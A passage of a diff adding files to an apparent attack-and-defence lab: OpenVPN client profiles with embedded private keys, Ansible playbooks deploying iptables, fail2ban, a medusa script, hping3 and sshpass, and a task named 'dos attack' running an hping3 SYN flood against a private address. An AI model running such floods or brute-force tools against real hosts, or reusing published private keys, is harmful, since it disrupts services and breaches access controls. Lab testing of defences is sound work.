+BgNVHQ4EFgQUKlyCEGrvQQZ90ywWAgGIFN3kga4wUQYDVR0jBEowSIAUKlyCEGrv
+QQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENBghRRbPy2
+wgF5KGujBMDYrBlsIPEx/jAMBgNVHRMEBTADAQH/MAsGA1UdDwQEAwIBBjANBgkq
+hkiG9w0BAQsFAAOCAQEAZTUmbIInXSV12DdxLOmgmiCH9BtDvXswyEfD4xMyspDT
+f3SbXBiSJgfMMMys9QrLYZ06Rg+tNxGoYX7fPjiLcH5UlB3muGMNFyrL6y1mJ1C/
+evvYjWnm6ATT6uigW0IO6mzNie3FDSitSXvZAwv+9mskuoes2I5C7EKYrixfIyN
+hRfI5JYbQgTB9FI6qrrFAinnJcynWAOjoyMabfUrUme/wiKtNCzPqmmwUYh5i7+H
+tfiZQ7Qkshv4VQxkq2dmq4VAPx0cuHrjVQ8ZfHhNZcX2HNsynP2KZJKLXe1pn5pg
+J0D5kG11BAA8e5LNMXl42KNuQyZCh2LClkwz4Sx2Rw==
+-----END CERTIFICATE-----
+</ca>
+key-direction 1
+<tls-auth>
+#
+# 2048 bit OpenVPN static key
+#
+-----BEGIN OpenVPN Static key V1-----
+d4d47aea6be3bda4549f485b7c38d287
+312509957ccf26428848e3095c429eee
+99196bd9edb0da94b5c9209debd8d455
+41bce3ed5f5631031775359d49e49d87
+8af81b53e7f909d1b47a1fbc03e2206b
+98bf518e41a43da80a652e19e39dae39
+7fa5ab1a7aff1b141b1952c1f61296b1
+363fc7a891a21acc354253e9a6a5123f
+8e36e40b486b7ba40542f77749b45bf5
+27b5899c26333e11a18e90a6857f3c36
+49abe06d3afabee6f97cbc65fcc6e74e
+6db46cd53e71ef4412b7328a278e9de2
+d50adaf4c942600aba4c011fa04d1368
+87ffd6f73adc9b7a772efb570e59f798
+e8cdd96c8dbc018535c3e04170dd309d
+1809e77f2f216d6fc95d706ae5400eab
+-----END OpenVPN Static key V1-----
+</tls-auth>
+
--- a/project/sec_vpn_4.ovpn
+++ b/project/sec_vpn_4.ovpn
@ -0,0 +1,110 @@
+
+client
+nobind
+dev tun
+comp-lzo
+resolv-retry infinite
+keepalive 15 60
+remote-cert-tls server
+remote 192.168.1.5 1194 udp
+float
+
+<key>
+-----BEGIN PRIVATE KEY-----
+MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCUA5v4Y7WOoL68
+06Vz7RcRQOwF5zTYXbwjk1ITvC2zYkTkaDbxNCoeVysl9HZ1v0jOmPr/iGIAFPcx
+CbQkr4xTp9ZU7q1GcKEvvTu4f392XaRwVZFfWSW6DFbNVa11BogtzOym6+t6Datk
+NP+2Luo2vV4fHwqSXI8DYcNijxkULtUvwZowdJhSiptA6uGZi9FlS0DKx3ux2VK3
+ji87WhyxD0ocdHDPh21Mz1cNJlxlfPSw51guc5JXRjyw6Jp4iJ+JbFfGJYn2wz3L
+CLn6iQKbdQV1p1sXcnjatYeXcglBTtwPu2a0O+E06BLFhAxBrlEpgsKN1RvCr8UA
+2vFPYMnXAgMBAAECggEBAJOgKe8K2+l+j97bpTjDbu9pdj7JBJ8MlnpRFFrUpCw3
+RgkdnDbk1WFfhYycj44PE/njAOzexQfZ4VYKnJ6+bFJ/orkhOLd53Ho13hu9Jo8T
+BNB5t72Gt6chaW3xF0kSE77ClgJCaaFZguk2Jxk5H6crJnYZyryCDq3L00k4+kVy
+kCMeXGzCrlBxtucYQbVGm7F6SUQEXvyv2eCStRuwVu2gnHqckrnX1HkQ3fNmmaIv
+8tqCbqbh5JBu+6l4R0xOArOGCIORNlQC5xtXFevwV7o6ZCGf64n9vvkJ02lgosUp
+EUmdoAxha2CKeH3BA/ZKH8VxyfZuNgFD1/avQXQ+RWkCgYEAxJ5xfSvcvkY32HEA
+6UNAUOdSLXCM+mJR0MKE+zFGAqx9auHKasOk+IKo9v/4/PgZnSjyI3WzHQ2GmJqO
+iLZrCJWr60ictoBDw62ZbVWuRoJUwAYe+icLoQC/fBIuwJRXnBqGqIH0jTLnQG+O
+69rSFVfEWwLPTVxSFuYI8h9DOJsCgYEAwLdK/Axy/lpy6vHphTvgihNJ1Y2lNpWO
+cgb4mURMixojvY7zRaLxzbmpBU1KpfK0z+jorjGTnuQ2RTuJ9/xRKGRd6aaJfQKG
+x+AiKNrslltYYo74U42Mhw810Kq/RlmdvLfb2ify9eUtuEtWhr7q95mbWLfmnCBP
+CRgR8ML68XUCgYEAvx3f5LK4+/7XE70sDJEBOGLRfzey4UKmkkwx5NTNX5X4xua4
+0bRga+rdgFHp3ULv6tK9IviqZOgb18QMHhlqysppdOd85OyicdcRlrQ9FW5kIM8S
+V0eSxyop9tjZtvm6exNRpwPDCWjcXcbSXrGxmWtZgrmldWXyqS1qrqbyuVcCgYBN
+IM6E46KeQ6rcducj6JvsBt409tSZbO+umTWjeZ88yMBnHDAmvZkS4exQb+ehVOqi
+jy+Yj8TqAaHqwXJtanE8vjaLzZgXDQzOL9jcCwpG/tX31Ap0viDw6Nh74+pbiIBF
+yDvYKsblPMy4hoZhtUUqxTJUJn3IHHIlTJnZht+SBQKBgF4lQMpf1acfm4aODCS9
+WIArMeifjSf2m1X4qmKf+hWkha7Aq4JHAVNDCF77ktLjo72la/647PPn1Yt1tgNE
+T34bY/+iTyLmOULD3EPwSKU+MsVXWUnDn6gksEix+4qCxGVR9U5g/rJc0isAMr4R
+X0zX3DnM7OioFwjGVjmw4OlP
+-----END PRIVATE KEY-----
+</key>
+<cert>
+-----BEGIN CERTIFICATE-----
+MIIDWDCCAkCgAwIBAgIRALIrjDtKnvOlKzrDEsEquO0wDQYJKoZIhvcNAQELBQAw
+FjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ1MjIxWhcNMjQwMTA4
+MDQ1MjIxWjAUMRIwEAYDVQQDDAlzZWNfdnBuXzQwggEiMA0GCSqGSIb3DQEBAQUA
+A4IBDwAwggEKAoIBAQCUA5v4Y7WOoL6806Vz7RcRQOwF5zTYXbwjk1ITvC2zYkTk
+aDbxNCoeVysl9HZ1v0jOmPr/iGIAFPcxCbQkr4xTp9ZU7q1GcKEvvTu4f392XaRw
+VZFfWSW6DFbNVa11BogtzOym6+t6DatkNP+2Luo2vV4fHwqSXI8DYcNijxkULtUv
+wZowdJhSiptA6uGZi9FlS0DKx3ux2VK3ji87WhyxD0ocdHDPh21Mz1cNJlxlfPSw
+51guc5JXRjyw6Jp4iJ+JbFfGJYn2wz3LCLn6iQKbdQV1p1sXcnjatYeXcglBTtwP
+u2a0O+E06BLFhAxBrlEpgsKN1RvCr8UA2vFPYMnXAgMBAAGjgaIwgZ8wCQYDVR0T
+BAIwADAdBgNVHQ4EFgQUNdDrzlEMV2SXtnLJ7Z/lzuq33mkwUQYDVR0jBEowSIAU
+KlyCEGrvQQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENB
+ghRRbPy2wgF5KGujBMDYrBlsIPEx/jATBgNVHSUEDDAKBggrBgEFBQcDAjALBgNV
+HQ8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAAfcg0QmBzR0ACiFzCAa7cpJ3Lzt
+/v7ooR9zUUJ40KkglWA0cAZaEhRRwpFzqYwKKmEgzWQtHTvS0sM/674RGA4FredV
+iYYgZdmnxIvDAiWMIL765iK0NCK/qLdPTLfmELDJlf3bOCN/s8QwazUKbUPgWZJF
+QsGMFuB+xXDFaYLQt/vO+aHxpDUe7mB4CNL4tUkejq16LMhJ2XQShfVqAJ0IhrX7
+NmMDYK+qf788oTBABB6ROJTySJAgeQ34XGBYbKKdK6UMqi7VIkW5BNfAhusdFkhE
+zep52EcL95JGXaCO/NAwdsVmYZMiko/GD8Ks0XrXO+HZLc9DUlLtOBcvfVY=
+-----END CERTIFICATE-----
+</cert>
+<ca>
+-----BEGIN CERTIFICATE-----
+MIIDSzCCAjOgAwIBAgIUUWz8tsIBeShrowTA2KwZbCDxMf4wDQYJKoZIhvcNAQEL
+BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ0NjM5WhcNMzEw
+MTIxMDQ0NjM5WjAWMRQwEgYDVQQDDAtFYXN5LVJTQSBDQTCCASIwDQYJKoZIhvcN
+AQEBBQADggEPADCCAQoCggEBAMlIgHdUbLlWaB+AFKC1KeIe2u9ZOq3LsY4esghm
+43CgwxtrKRw87QV46RGGQmPoeKdp2Qe8im232nl1odr3r1O6/ohknTP02Q38zGBH
+NyQF4cORiMHiYdS2XG0NUkf1vN0WlmwbYJHdxhGcs0/D0DGf5yY6t+j14o6xvJjX
+4h4SQAfGm1p0AbEuoahY5Or4stFkUMxnUkIpZp8nGRTy+4ZMpYjOGRcaoaHQNDTX
+/nPsS3AXrp5EZfZ9HIbJ68JtmUIPY803tvubDQx3C7CeiPGc/KfW7D/0SbKxh9Nk
+Er25NLm8MBNQJjSs1fRMg6FlIFvR48+s446LtdWGfHedz4kCAwEAAaOBkDCBjTAd
+BgNVHQ4EFgQUKlyCEGrvQQZ90ywWAgGIFN3kga4wUQYDVR0jBEowSIAUKlyCEGrv
+QQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENBghRRbPy2
+wgF5KGujBMDYrBlsIPEx/jAMBgNVHRMEBTADAQH/MAsGA1UdDwQEAwIBBjANBgkq
+hkiG9w0BAQsFAAOCAQEAZTUmbIInXSV12DdxLOmgmiCH9BtDvXswyEfD4xMyspDT
+f3SbXBiSJgfMMMys9QrLYZ06Rg+tNxGoYX7fPjiLcH5UlB3muGMNFyrL6y1mJ1C/
+evvYjWnm6ATT6uigW0IO6mzNie3FDSitSXvZAwv+9mskuoes2I5C7EKYrixfIyN
+hRfI5JYbQgTB9FI6qrrFAinnJcynWAOjoyMabfUrUme/wiKtNCzPqmmwUYh5i7+H
+tfiZQ7Qkshv4VQxkq2dmq4VAPx0cuHrjVQ8ZfHhNZcX2HNsynP2KZJKLXe1pn5pg
+J0D5kG11BAA8e5LNMXl42KNuQyZCh2LClkwz4Sx2Rw==
+-----END CERTIFICATE-----
+</ca>
+key-direction 1
+<tls-auth>
+#
+# 2048 bit OpenVPN static key
+#
+-----BEGIN OpenVPN Static key V1-----
+d4d47aea6be3bda4549f485b7c38d287
+312509957ccf26428848e3095c429eee
+99196bd9edb0da94b5c9209debd8d455
+41bce3ed5f5631031775359d49e49d87
+8af81b53e7f909d1b47a1fbc03e2206b
+98bf518e41a43da80a652e19e39dae39
+7fa5ab1a7aff1b141b1952c1f61296b1
+363fc7a891a21acc354253e9a6a5123f
+8e36e40b486b7ba40542f77749b45bf5
+27b5899c26333e11a18e90a6857f3c36
+49abe06d3afabee6f97cbc65fcc6e74e
+6db46cd53e71ef4412b7328a278e9de2
+d50adaf4c942600aba4c011fa04d1368
+87ffd6f73adc9b7a772efb570e59f798
+e8cdd96c8dbc018535c3e04170dd309d
+1809e77f2f216d6fc95d706ae5400eab
+-----END OpenVPN Static key V1-----
+</tls-auth>
+
--- a/project/sec_vpn_5.ovpn
+++ b/project/sec_vpn_5.ovpn
@ -0,0 +1,110 @@
+
+client
+nobind
+dev tun
+comp-lzo
+resolv-retry infinite
+keepalive 15 60
+remote-cert-tls server
+remote 192.168.1.5 1194 udp
+float
+
+<key>
+-----BEGIN PRIVATE KEY-----
+MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCg9D/IFmmR74x7
+kTMBpnz7/xRczL1SLcvqk2EgCwFsHHHvtEEu/wdEgJLKoaF4gTpPQ4NaZ51e5XsG
+d7CHwg9B4EW5bydfw16L9V7X54C/Abpo/LS/kT1sLbBMxR5nLuU0WarokE1ivQ2q
+gOFsrlPfvYDkhuxGZ6TBMZR4WQC10D6AgPWXF3L0Ld3GlxzzKNDe6zwynEVnNw2w
+LO0KmZ6i5x2dkvcMn3zwgEy1RTS2OF6U9qpWadmjSsND7caR4Am4XKSYNuI4Dsyz
+QJEMctbOrMTTeNIYJKuAnX1Yp4dXK5cN7YT5hnJfnBr1H3vkmUh1oaYBToOQhLCM
+rwjgvTH3AgMBAAECggEAPxU74loWamIu90dDbIQqPEIPYwfDs+/LGldFG9/0YMEN
+TtuhKKA/4vNZlR2gQbC0f9iAJPCzVzwt6a0DfVHr1O/no/QSxI+4ALbcw1Yyuaod
+u4Q/+00be8i0boJblillIA181MWp7ucV8hutPoFc0jZdzDOtazK3+hhKjpijlJ44
+lBPRcbQGEPrYs2TEEJ0hWHwr0himlId2lC11wygcu1n4TdsoFAScccPVpCbqOKrq
+SwbBeaC+HWO6J30b3dsQ38ZOygMdB9cen2ItQAZdW6aIqgSu6gF/2IhM3JACPuO9
+VJj56FAeetZgLwO6c9Vii98UO2Hm+HFhyI9WnAaOoQKBgQDQi2EyGnvJe6WsfLoh
+OCh3vvM4F5pdo98cRhrm/SvhyF/OvL8H50hbJtDs4fEWGgJIV8xOk+NSrqJX20k7
+Thpge7EMRqZjkXlZvKIq+9w+aBDKyb1kmuO/BadJh/Zlt9h1jctEc00IPzypfip1
+NiPQe9Vd0NZeL1dFWnoxMhr2/wKBgQDFlIZNzo7eBjT5rEcm7nn63Ylsq+p6LezP
+1KwBx9f7XnVU+r8GansvrWrPgqyJ7w/EGHA3/wUk9qw2HZoqUh1W2GpPBYpx0wNV
+1g9kjEG056gnFMgTbMjojZ4auxiEFSYo5G8Mi8kLS6OQbUAotieWJFGiCvlUGWUh
+Gwh1vNB9CQKBgFG6jfjo0CKCRsd2iiuCqrljKEaPWXvhQQr/noNwLMZrlMCcz/D0
+/zJZ3/81/RnAT6yyW+tfofNBZXYxBl4rmcK+NwCsn4Dd/kTg3F0kH4iFmC8hKQxI
+d4DhYlI66qGqjzZiv4qv9TyKK+fw/gq5kQefwFroAVsgCn+vmbu1+0NZAoGAYHqw
+Qlo1BVG+mJR5ghc9VTTMoFYqf1LhqnLNM2lknAh5/u8aTIW+dX+XApFqs0gbSMQu
+OAm9d1lEqoA2AahrTzcKYl/wRLinjkii55RdmXrtb3gEYwfh6z0MET1/MTAqnBk/
+6L5xg6SB0Eqo47hfCD/f5OK68UgdS9cpgGSc4hECgYAH2bc7xDulyt5tIknzTfRv
+iwTipQBJPyK+OGamw83B9l/1I+QJ9EmB+Zn7JmPiWqhViD9V5GlmbUBqiarJXF5Z
+mW7VY2BsLsKOuGKprcJO83XpM8LtW6bBlCtfU8hAHeoBX0j8F99isN5ZmwnEHLLY
+awaMoHH/Znwdrgg2E7NBwA==
+-----END PRIVATE KEY-----
+</key>
+<cert>
+-----BEGIN CERTIFICATE-----
+MIIDWDCCAkCgAwIBAgIRAOKsUA1kgRB5+57ZaH6Wb7UwDQYJKoZIhvcNAQELBQAw
+FjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ1MjI4WhcNMjQwMTA4
+MDQ1MjI4WjAUMRIwEAYDVQQDDAlzZWNfdnBuXzUwggEiMA0GCSqGSIb3DQEBAQUA
+A4IBDwAwggEKAoIBAQCg9D/IFmmR74x7kTMBpnz7/xRczL1SLcvqk2EgCwFsHHHv
+tEEu/wdEgJLKoaF4gTpPQ4NaZ51e5XsGd7CHwg9B4EW5bydfw16L9V7X54C/Abpo
+/LS/kT1sLbBMxR5nLuU0WarokE1ivQ2qgOFsrlPfvYDkhuxGZ6TBMZR4WQC10D6A
+gPWXF3L0Ld3GlxzzKNDe6zwynEVnNw2wLO0KmZ6i5x2dkvcMn3zwgEy1RTS2OF6U
+9qpWadmjSsND7caR4Am4XKSYNuI4DsyzQJEMctbOrMTTeNIYJKuAnX1Yp4dXK5cN
+7YT5hnJfnBr1H3vkmUh1oaYBToOQhLCMrwjgvTH3AgMBAAGjgaIwgZ8wCQYDVR0T
+BAIwADAdBgNVHQ4EFgQUOCps54FTjSKrRlht5Wq5H5cktQUwUQYDVR0jBEowSIAU
+KlyCEGrvQQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENB
+ghRRbPy2wgF5KGujBMDYrBlsIPEx/jATBgNVHSUEDDAKBggrBgEFBQcDAjALBgNV
+HQ8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAKERF5PiEx71LlLgjtn55HYRUhPI
+SYRlcTaaKjONY4fpAM4HQx51Q1GKl8AviTKEHa+j4zqaIVdNj5xnKtv5EdEPcVHp
+f7Ifc1D/8D9ulFyaC8M1GyfbUr4rSgfkQDCcn20rdt8ftIfq+MdcBw078/9ql7e1
+w+sD7HgOWR/sOP8tXiHHmy9j9kw/a8SNOROqmjrGl5bRaSkEwDQjoTP28Cqig2Jy
+5yXav/Ql6+YlFkCaDyiSbMpVz5PNc09m91ZJvw+ki6Ox/SKDAQGBxx4/M8OkBv3W
+YEdf/Bgd4if5nu89zbO0yMoYXRNtzVoquXc59CSAcnIUD9x0qqFCSStlrnE=
+-----END CERTIFICATE-----
+</cert>
+<ca>
+-----BEGIN CERTIFICATE-----
+MIIDSzCCAjOgAwIBAgIUUWz8tsIBeShrowTA2KwZbCDxMf4wDQYJKoZIhvcNAQEL
+BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjEwMTIzMDQ0NjM5WhcNMzEw
+MTIxMDQ0NjM5WjAWMRQwEgYDVQQDDAtFYXN5LVJTQSBDQTCCASIwDQYJKoZIhvcN
+AQEBBQADggEPADCCAQoCggEBAMlIgHdUbLlWaB+AFKC1KeIe2u9ZOq3LsY4esghm
+43CgwxtrKRw87QV46RGGQmPoeKdp2Qe8im232nl1odr3r1O6/ohknTP02Q38zGBH
+NyQF4cORiMHiYdS2XG0NUkf1vN0WlmwbYJHdxhGcs0/D0DGf5yY6t+j14o6xvJjX
+4h4SQAfGm1p0AbEuoahY5Or4stFkUMxnUkIpZp8nGRTy+4ZMpYjOGRcaoaHQNDTX
+/nPsS3AXrp5EZfZ9HIbJ68JtmUIPY803tvubDQx3C7CeiPGc/KfW7D/0SbKxh9Nk
+Er25NLm8MBNQJjSs1fRMg6FlIFvR48+s446LtdWGfHedz4kCAwEAAaOBkDCBjTAd
+BgNVHQ4EFgQUKlyCEGrvQQZ90ywWAgGIFN3kga4wUQYDVR0jBEowSIAUKlyCEGrv
+QQZ90ywWAgGIFN3kga6hGqQYMBYxFDASBgNVBAMMC0Vhc3ktUlNBIENBghRRbPy2
+wgF5KGujBMDYrBlsIPEx/jAMBgNVHRMEBTADAQH/MAsGA1UdDwQEAwIBBjANBgkq
+hkiG9w0BAQsFAAOCAQEAZTUmbIInXSV12DdxLOmgmiCH9BtDvXswyEfD4xMyspDT
+f3SbXBiSJgfMMMys9QrLYZ06Rg+tNxGoYX7fPjiLcH5UlB3muGMNFyrL6y1mJ1C/
+evvYjWnm6ATT6uigW0IO6mzNie3FDSitSXvZAwv+9mskuoes2I5C7EKYrixfIyN
+hRfI5JYbQgTB9FI6qrrFAinnJcynWAOjoyMabfUrUme/wiKtNCzPqmmwUYh5i7+H
+tfiZQ7Qkshv4VQxkq2dmq4VAPx0cuHrjVQ8ZfHhNZcX2HNsynP2KZJKLXe1pn5pg
+J0D5kG11BAA8e5LNMXl42KNuQyZCh2LClkwz4Sx2Rw==
+-----END CERTIFICATE-----
+</ca>
+key-direction 1
+<tls-auth>
+#
+# 2048 bit OpenVPN static key
+#
+-----BEGIN OpenVPN Static key V1-----
+d4d47aea6be3bda4549f485b7c38d287
+312509957ccf26428848e3095c429eee
+99196bd9edb0da94b5c9209debd8d455
+41bce3ed5f5631031775359d49e49d87
+8af81b53e7f909d1b47a1fbc03e2206b
+98bf518e41a43da80a652e19e39dae39
+7fa5ab1a7aff1b141b1952c1f61296b1
+363fc7a891a21acc354253e9a6a5123f
+8e36e40b486b7ba40542f77749b45bf5
+27b5899c26333e11a18e90a6857f3c36
+49abe06d3afabee6f97cbc65fcc6e74e
+6db46cd53e71ef4412b7328a278e9de2
+d50adaf4c942600aba4c011fa04d1368
+87ffd6f73adc9b7a772efb570e59f798
+e8cdd96c8dbc018535c3e04170dd309d
+1809e77f2f216d6fc95d706ae5400eab
+-----END OpenVPN Static key V1-----
+</tls-auth>
+
--- a/project/second_script.sh
+++ b/project/second_script.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory_w.yml test2.yml  -f 4 --ask-pass --ask-become-pass
+
--- a/project/sshkey_script.sh
+++ b/project/sshkey_script.sh
@ -0,0 +1,4 @@
+#!/bin/bash
+ssh-keygen
+ssh-copy-id docker@172.21.0.6
+
--- a/project/test-ping.retry
+++ b/project/test-ping.retry
@ -0,0 +1,5 @@
+172.27.0.2
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/project/test-ping.yml
+++ b/project/test-ping.yml
@ -0,0 +1,27 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+      
+
+     # ping async
+    - name: pingtome
+      command: ping 10.80.0.2
+      async: 30
+      poll: 0
+
+
+    
+
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/project/test.retry
+++ b/project/test.retry
@ -0,0 +1,5 @@
+172.27.0.2
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/project/test.yml
+++ b/project/test.yml
@ -0,0 +1,113 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+      
+
+     # make directory
+
+    - name: make dir for data
+      become: true
+      file:
+        path: "/var/lab/playground/playground-readmongo"
+        state: directory
+        owner: docker
+        group: docker  
+        mode: '0777'
+
+     # pare google.com
+
+#    - name: google.com
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  curl http://www.google.com
+#      ignore_errors: yes
+#      register: configwww
+ 
+#    - name: ls  configwww
+#      debug: var=configwww.stdout_lines
+
+
+     # rm dir
+
+#    - name: remove dir
+#      become: yes
+#      become_user: "{{ user }}"
+#      command: rmdir new_dir
+#      ignore_errors: yes
+#      register: rmvdir
+
+
+#    - name: ls  rmvdir
+#      debug: var=rmvdir.stdout_lines
+
+     # transfer script iptables gia er. 1
+
+    - name: Transfer  script iptables_rules.
+      copy: src=iptables_rules.sh dest=/home/docker mode=0777
+
+    # transfer script fail2ban gia er.2
+
+    - name: Transfer  script fail2ban.
+      copy: src=fail2ban_script.sh dest=/home/docker mode=0777
+   
+     # install openvpn  gia er.4
+    - name: Ansible apt install openvpn.
+      become: true
+      apt:
+        name: openvpn
+        state: present
+        update_cache: true 
+    
+    # install fail2ban gia er.2
+    - name: Ansible apt install fail2ban.
+      become: true
+      apt:
+        name: fail2ban
+        state: present
+        update_cache: true 
+
+     # ls -al   for testing
+
+    - name: ls -al 
+      become: yes
+      become_user: "{{ user }}"      
+      command:  ls -al #/etc
+      ignore_errors: yes
+      register: config
+
+
+    - name: ls  config
+      debug: var=config.stdout_lines
+
+    
+
+    # netstat -antlupe
+
+#    - name: netstat
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  netstat -antlupe
+#      ignore_errors: yes
+#      register: ant
+
+
+
+#    - name: ls  ant
+#      debug: var=ant.stdout_lines
+
+
+    
+
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/project/test2.retry
+++ b/project/test2.retry
@ -0,0 +1,4 @@
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/project/test2.yml
+++ b/project/test2.yml
@ -0,0 +1,76 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker" 
+
+  tasks:  
+ 
+
+    # ls -al test
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config
+
+#    - name: ls  config
+#      debug: var=config.stdout_lines
+    
+     
+    # transfer script update
+
+    - name: Transfer  script.
+      copy: src=script_update.sh dest=/home/docker mode=0777
+
+    # exec script
+    - name: Exec  script_update.
+      command: sh /home/docker/script_update.sh
+
+    # transfer script iptables
+
+#    - name: Transfer  script iprules.
+#      copy: src=iptables_rules.sh dest=/home/docker mode=0777
+
+    # transfer script imedusa
+
+    - name: Transfer  script medusa.
+      copy: src=medusa_script.sh dest=/home/docker mode=0777
+
+    # transfer script fail2ban
+
+#    - name: Transfer  script fail2ban.
+#      copy: src=fail2ban_script.sh dest=/home/docker mode=0777
+
+    # transfer script sshkey_script
+
+#    - name: Transfer  script sshkey.
+#      copy: src=sshkey_script.sh dest=/home/docker mode=0777
+
+
+    # install hping3
+    - name: Ansible apt install hping3.
+      become: true
+      apt:
+        name: hping3
+        state: present
+        update_cache: true
+
+    # install sshpass
+    - name: Ansible apt install sshpass.
+      become: true
+      apt:
+        name: sshpass
+        state: present
+        update_cache: true    
+
+   
+    # refresh
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/project/test3.retry
+++ b/project/test3.retry
@ -0,0 +1,4 @@
+172.29.0.3
+172.29.0.4
+172.29.0.5
+172.29.0.6
--- a/project/test3.yml
+++ b/project/test3.yml
@ -0,0 +1,60 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+      
+   
+
+    # ls -al
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config2
+
+
+#    - name: ls  config2
+#      debug: var=config2.stdout_lines
+    
+    # dos attack async
+    - name: dos attack
+      command: sudo hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.21.0.2 -y 
+      async: 120
+      poll: 0
+     
+    
+
+
+    # ls -al
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config3
+
+
+    - name: ls  config3
+      debug: var=config3.stdout_lines
+    
+
+
+    
+
+   
+
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/project/test_fail2ban.retry
+++ b/project/test_fail2ban.retry
@ -0,0 +1,5 @@
+172.27.0.2
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/project/test_fail2ban.yml
+++ b/project/test_fail2ban.yml
@ -0,0 +1,21 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+    # exec script fail2ban
+    - name: Exec  fail2ban_script.
+      command: sh /home/docker/fail2ban_script.sh  
+
+    
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/project/test_iptables_rules.retry
+++ b/project/test_iptables_rules.retry
@ -0,0 +1,5 @@
+172.27.0.2
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/project/test_iptables_rules.yml
+++ b/project/test_iptables_rules.yml
@ -0,0 +1,21 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+    # exec script iptables
+    - name: Exec  iptables_rules.sh.
+      command: sh /home/docker/iptables_rules.sh  
+
+    
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/72
+++ b/72
@ -0,0 +1,72 @@
+#!/bin/sh
+
+ROLE="undefined"
+MPI_MASTER_SERVICE_NAME="sec_master"
+MPI_WORKER_SERVICE_NAME="sec_worker"
+HOSTNAMES="/etc/nethosts"
+
+#######################
+# ARGUMENTS PARSER
+
+while [ "$1" != "" ];
+do
+    PARAM=$(echo "$1" | awk -F= '{print $1}')
+    VALUE=$(echo "$1" | awk -F= '{print $2}')
+
+    case $PARAM in
+        role)
+            [ "$VALUE" ] && ROLE=$VALUE
+            ;;
+
+        sec_master_service_name)
+            [ "$VALUE" ] && MPI_MASTER_SERVICE_NAME=$VALUE
+            ;;
+
+        sec_worker_service_name)
+            [ "$VALUE" ] && MPI_WORKER_SERVICE_NAME=$VALUE
+            ;;
+        *)
+            echo "ERROR: unknown parameter \"$PARAM\""
+            exit 1
+            ;;
+    esac
+    shift
+done
+
+
+
+cat > /etc/opt/service_names <<- EOF
+MPI_MASTER_SERVICE_NAME=${MPI_MASTER_SERVICE_NAME}
+MPI_WORKER_SERVICE_NAME=${MPI_WORKER_SERVICE_NAME}
+EOF
+
+case $ROLE in
+    "master")
+
+        # Auto update default host file in background and dumb all output
+        auto_update_hosts "${HOSTNAMES}" > /dev/null 2>&1 &
+
+        # Start ssh server
+        /usr/sbin/sshd -D
+        ;;
+
+
+    "worker")
+
+        # Start ssh server in background
+        /usr/sbin/sshd -D &
+
+        # Keep trying to connect to master node and stay there indefinitely so that master node can see
+        # the connected hosts that are ready for MPI work
+        while sleep 1
+        do
+            # shellcheck disable=SC2086
+            ssh -T -o "StrictHostKeyChecking no"   \
+                -i "${USER_HOME}/.ssh/id_rsa"      \
+                ${USER}@${MPI_MASTER_SERVICE_NAME} \
+                "tail -f /dev/null"
+        done
+        ;;
+    *)
+        echo 'role argument only accepts "master" or "worker"'
+esac
--- a/shorewall/interfaces
+++ b/shorewall/interfaces
@ -0,0 +1,6 @@
+### Comments, comments, and more comments.
+#
+#ZONE    INTERFACE      BROADCAST       OPTIONS
+#
+net      eth0           detect          tcpflags,nosmurfs
+#LAST LINE -- ADD YOUR ENTRIES BEFORE THIS ONE -- DO NOT REMOVE
--- a/shorewall/policy
+++ b/shorewall/policy
@ -0,0 +1,11 @@
+### Comments, comments, and more comments.
+#SOURCE         DEST            POLICY          LOG LEVEL       LIMIT:BURST
+#
